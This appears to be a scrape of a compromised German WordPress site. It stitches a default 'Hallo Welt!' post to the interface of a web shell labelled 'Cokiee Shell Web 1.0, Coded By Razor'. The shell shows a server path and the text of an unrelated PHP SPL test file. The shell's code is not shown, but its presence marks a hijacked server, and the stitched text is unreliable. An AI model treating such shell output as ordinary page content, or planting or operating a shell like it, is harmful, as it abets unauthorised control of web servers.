Willkommen bei WordPress. Dies ist dein erster Beitrag. Bearbeite oder lösche ihn und beginne mit dem Schreiben!
Hallo Welt!
von raredesign | Dez 3, 2019 | Allgemein | 0 Kommentare
Cokiee Shell
Current Path : /usr/local/src/php7/php-7.0.5/ext/spl/tests/ |
Current File : //usr/local/src/php7/php-7.0.5/ext/spl/tests/recursiveIteratorIterator_endchildren_error.phpt |
--TEST-- SPL: RecursiveIteratorIterator - Exception thrown in endchildren which should be handled in next() --FILE-- <?php $arr = array(array(1,2)); $arrOb = new ArrayObject($arr); $recArrIt = new RecursiveArrayIterator($arrOb->getIterator()); class MyRecursiveIteratorIterator extends RecursiveIteratorIterator { function endchildren() { throw new Exception; } } $recItIt = new MyRecursiveIteratorIterator($recArrIt, RecursiveIteratorIterator::LEAVES_ONLY, RecursiveIteratorIterator::CATCH_GET_CHILD); foreach ($recItIt as $val) echo "$val\n"; $recItIt2 = new MyRecursiveIteratorIterator($recArrIt, RecursiveIteratorIterator::LEAVES_ONLY); echo "===NEXT LOOP===\n"; foreach ($recItIt2 as $val) echo "$val\n"; ?> --EXPECTF-- 1 2 ===NEXT LOOP=== 1 2 Fatal error: Uncaught Exception in %s Stack trace: #0 [internal function]: MyRecursiveIteratorIterator->endchildren() #1 %s: RecursiveIteratorIterator->next() #2 {main} thrown in %s on line %d
Cokiee Shell Web 1.0, Coded By Razor
Neueste Kommentare